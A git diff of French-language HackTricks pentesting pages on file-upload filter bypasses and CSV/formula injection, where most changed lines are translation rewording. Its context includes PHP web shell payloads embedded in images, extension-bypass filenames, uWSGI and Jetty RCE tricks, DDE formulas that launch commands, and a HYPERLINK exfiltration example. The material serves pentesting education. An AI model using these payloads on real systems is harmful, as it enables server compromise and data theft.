* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Upload de fichiers
|
||||
# Téléchargement de fichiers
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**Astuce de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de **prime de bug premium créée par des pirates**, pour des pirates ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de **prime de bug premium créée par des pirates informatiques, pour des pirates informatiques** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ Autres façons de soutenir HackTricks :
|
|||
Autres extensions utiles :
|
||||
|
||||
* **PHP** : _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
* **Travailler en PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **Travaillant en PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **ASP** : _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
* **Jsp** : _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
* **Coldfusion** : _.cfm, .cfml, .cfc, .dbm_
|
||||
|
@ -33,7 +33,7 @@ Autres extensions utiles :
|
|||
* **Perl** : _.pl, .cgi_
|
||||
* **Serveur Web Erlang Yaws** : _.yaws_
|
||||
|
||||
### Contourner les vérifications des extensions de fichiers
|
||||
### Contournement des vérifications des extensions de fichiers
|
||||
|
||||
1. Si elles s'appliquent, **vérifiez** les **extensions précédentes**. Testez-les également en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._
|
||||
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez également les extensions précédentes) :_
|
||||
|
@ -63,8 +63,8 @@ Autres extensions utiles :
|
|||
* _fichier.php%00.png%00.jpg_
|
||||
6. Essayez de placer l'**extension d'exécution avant l'extension valide** et espérez que le serveur est mal configuré. (utile pour exploiter les mauvaises configurations Apache où tout avec l'extension\*\* _**.php**_**, mais** pas nécessairement se terminant par .php\*\* exécutera du code) :
|
||||
* _ex : fichier.php.png_
|
||||
7. Utilisation des **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. Par conséquent, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, "fichier.asax:.jpg"). Ce fichier pourrait être modifié ultérieurement en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif "**::$data**" peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (.e.g. "fichier.asp::$data.")
|
||||
8. Essayez de dépasser les limites du nom de fichier. L'extension valide est coupée. Et le PHP malveillant est laissé. AAA<--SNIP-->AAA.php
|
||||
7. Utilisation des **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. Par conséquent, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, "fichier.asax:.jpg"). Ce fichier pourrait être modifié ultérieurement en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif "**::$data**" peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple, "fichier.asp::$data.")
|
||||
8. Essayez de dépasser les limites du nom de fichier. L'extension valide est coupée. Et le code PHP malveillant est laissé. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
|
@ -77,11 +77,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Contourner le type de contenu, le numéro magique, la compression et le redimensionnement
|
||||
### Contournement de Content-Type, Magic Number, Compression & Redimensionnement
|
||||
|
||||
* Contourner les vérifications du **type de contenu** en définissant la **valeur** de l'en-tête **Content-Type** à : _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Liste de mots du **type de contenu** : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Contourner la vérification du **numéro magique** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduisez le shell à l'intérieur des **métadonnées** :\
|
||||
* Contournez les vérifications de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** à : _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Liste de **Content-Type** : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Contournez la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduisez le shell à l'intérieur des **métadonnées** :\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou vous pourriez également **introduire directement la charge utile** dans une image :\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
|
@ -94,8 +94,8 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
### Autres astuces à vérifier
|
||||
|
||||
* Trouver une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension).
|
||||
* Trouver une vulnérabilité d'**inclusion de fichier local** pour exécuter la porte dérobée.
|
||||
* Trouvez une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension).
|
||||
* Trouvez une vulnérabilité d'**inclusion de fichier local** pour exécuter la porte dérobée.
|
||||
* **Divulgation d'informations possible** :
|
||||
1. Téléchargez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
|
||||
2. Téléchargez un fichier avec le **nom** d'un **fichier** ou **dossier** qui **existe déjà**
|
||||
|
@ -107,8 +107,8 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
### Astuces d'extensions spéciales
|
||||
|
||||
Si vous essayez de télécharger des fichiers sur un serveur **PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Si vous essayez de télécharger des fichiers sur un serveur **ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Si vous essayez de télécharger des fichiers sur un serveur **PHP**, [consultez le **truc .htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Si vous essayez de télécharger des fichiers sur un serveur **ASP**, [consultez le **truc .config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Les fichiers `.phar` sont comme les fichiers `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP, ou en l'incluant dans un script...)
|
||||
|
||||
|
@ -116,7 +116,7 @@ L'extension `.inc` est parfois utilisée pour les fichiers PHP qui ne sont utili
|
|||
|
||||
## **RCE Jetty**
|
||||
|
||||
Si vous pouvez télécharger un fichier XML dans un serveur Jetty, vous pouvez obtenir [une **RCE car les nouveaux \*.xml et \*.war sont automatiquement traités**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Ainsi, comme mentionné dans l'image suivante, téléchargez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
|
||||
Si vous pouvez télécharger un fichier XML dans un serveur Jetty, vous pouvez obtenir une [RCE car les nouveaux \*.xml et \*.war sont automatiquement traités](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Ainsi, comme mentionné dans l'image suivante, téléchargez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
|
||||
|
@ -124,7 +124,7 @@ Si vous pouvez télécharger un fichier XML dans un serveur Jetty, vous pouvez o
|
|||
|
||||
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [Exploitation de RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Les vulnérabilités d'exécution de commandes à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(nom du fichier)`, est conçu pour inclure le contenu d'un fichier. Parmi les divers schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsque qu'un fichier de configuration `.ini` est traité.
|
||||
Les vulnérabilités d'exécution de commandes à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(nom_fichier)`, est conçu pour inclure le contenu d'un fichier. Parmi les divers schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
|
||||
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, présentant divers schémas :
|
||||
```ini
|
||||
|
@ -151,7 +151,7 @@ Il est crucial de comprendre la nature laxiste de l'analyse du fichier de config
|
|||
## **Astuce de téléchargement de fichier/SSRF avec wget**
|
||||
|
||||
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés est dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur maximale** d'un **nom de fichier** sous **Linux** est de **255** caractères, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**) mais `wget` renommera le fichier en **"A"\*232+".php"**.
|
||||
La **longueur maximale** d'un **nom de fichier** sous **Linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une **extension valide**) mais `wget` renommera le fichier en **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -195,7 +195,7 @@ Notez que **une autre option** à laquelle vous pourriez penser pour contourner
|
|||
* [Vulnérabilité **ImageTrick** célèbre](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Si vous pouvez **indiquer au serveur web de récupérer une image à partir d'une URL**, vous pourriez essayer d'exploiter un [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL depuis [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations sur chaque visiteur**.
|
||||
* [**Contournement XXE et CORS** avec le téléchargement de fichiers PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDFs spécialement conçus pour XSS: La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer des PDF qui exécuteront du JS arbitraire en suivant les indications données.
|
||||
* PDFs spécialement conçus pour XSS: La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
|
||||
* Téléchargez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenu pour vérifier si le serveur a un **antivirus**
|
||||
* Vérifiez s'il y a une **limite de taille** pour le téléchargement de fichiers
|
||||
|
||||
|
@ -210,7 +210,7 @@ Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (à part
|
|||
7. **HTML / JS** : Injection HTML / XSS / Redirection ouverte
|
||||
8. **PNG / JPEG**: Attaque de saturation de pixels (DoS)
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
10. **PDF / PPTX**: SSRF / XXE AVEUGLE
|
||||
|
||||
#### Extension Burp
|
||||
|
||||
|
@ -268,10 +268,10 @@ create_zip()
|
|||
```
|
||||
**Abus de la compression pour la pulvérisation de fichiers**
|
||||
|
||||
Pour plus de détails, **consultez l'article original sur**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Pour plus de détails, **consultez le message original sur**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
|
||||
1. **Création d'un Shell PHP**:
|
||||
1. **Création d'une coquille PHP**:
|
||||
Le code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`.
|
||||
```php
|
||||
<?php
|
||||
|
@ -319,7 +319,7 @@ Plus d'informations sur : [https://www.idontplaydarts.com/2012/06/encoding-web-s
|
|||
|
||||
Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant comme des caméléons pouvant exister de manière valide dans plusieurs formats de fichier simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et une archive RAR. De tels fichiers ne se limitent pas à cette association ; des combinaisons comme GIF et JS ou PPT et JS sont également réalisables.
|
||||
|
||||
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Une pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement, tels que JPEG, GIF ou DOC, pour atténuer les risques posés par des formats potentiellement dangereux (par exemple, JS, PHP ou les fichiers Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
|
||||
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Une pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement, tels que JPEG, GIF ou DOC, afin de réduire les risques posés par des formats potentiellement dangereux (par exemple, JS, PHP ou les fichiers Phar). Cependant, un polyglotte, en se conformant aux critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
|
||||
|
||||
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
|
||||
|
||||
|
@ -349,7 +349,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,9 +2,9 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -16,9 +16,9 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
|
|||
Si votre **entrée** est **réfléchie** à l'intérieur de **fichiers CSV** (ou de tout autre fichier qui sera probablement ouvert par **Excel**), vous pourriez être en mesure d'insérer des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
De nos jours, **Excel alertera** (à plusieurs reprises) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher d'effectuer des actions malveillantes. Par conséquent, un effort particulier en ingénierie sociale doit être appliqué au payload final.
|
||||
De nos jours, **Excel alertera** (à plusieurs reprises) l'**utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel** afin de l'empêcher d'effectuer des actions malveillantes. Par conséquent, un effort particulier en ingénierie sociale doit être appliqué à la charge finale.
|
||||
{% endhint %}
|
||||
|
||||
### [Liste de mots](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -45,12 +45,12 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
|
||||
|
||||
L'exemple suivant a été pris sur [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
L'exemple suivant a été tiré de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Imaginez une violation de sécurité dans un système de gestion des dossiers étudiants exploitée à travers une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge malveillante dans l'application, en entrant spécifiquement des formules nocives dans les champs destinés aux détails des étudiants. L'attaque se déroule comme suit :
|
||||
|
||||
1. **Injection de la Charge Malveillante :**
|
||||
- L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les feuilles de calcul (par exemple, `=HYPERLINK("<lien_malveillant>","Cliquez ici")`).
|
||||
- L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les feuilles de calcul (par exemple, `=HYPERLINK("<malicious_link>","Cliquez ici")`).
|
||||
- Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant.
|
||||
|
||||
2. **Exportation des Données Compromises :**
|
||||
|
@ -58,7 +58,7 @@ Imaginez une violation de sécurité dans un système de gestion des dossiers é
|
|||
- Le fichier CSV, lorsqu'il est ouvert, contient toujours la charge malveillante. Cette charge apparaît comme un hyperlien cliquable dans la feuille de calcul.
|
||||
|
||||
3. **Déclenchement de l'Attaque :**
|
||||
- Un enseignant clique sur l'hyperlien, croyant qu'il fait partie légitime des détails de l'étudiant.
|
||||
- Un enseignant clique sur l'hyperlien, pensant qu'il fait partie légitime des détails de l'étudiant.
|
||||
- En cliquant, des données sensibles (pouvant inclure des détails de la feuille de calcul ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
|
||||
|
||||
4. **Enregistrement des Données :**
|
||||
|
@ -70,9 +70,9 @@ Imaginez une violation de sécurité dans un système de gestion des dossiers é
|
|||
|
||||
**Consultez le [message original](https://notsosecure.com/data-exfiltration-formula-injection-part1) pour plus de détails.**
|
||||
|
||||
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Échange de Données Dynamique (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour tirer parti de cela, les paramètres suivants doivent être activés :
|
||||
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Échange de Données Dynamique (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour exploiter cela, les paramètres suivants doivent être activés :
|
||||
|
||||
- Accédez à Fichier → Options → Centre de Confiance → Paramètres du Centre de Confiance → Contenu Externe, et activez **Lancement de Serveur d'Échange de Données Dynamique**.
|
||||
- Accédez à Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe, et activez **Lancement du Serveur d'Échange de Données Dynamique**.
|
||||
|
||||
Lorsqu'une feuille de calcul avec la charge malveillante est ouverte (et si l'utilisateur accepte les avertissements), la charge est exécutée. Par exemple, pour lancer l'application calculatrice, la charge serait :
|
||||
```markdown
|
||||
|
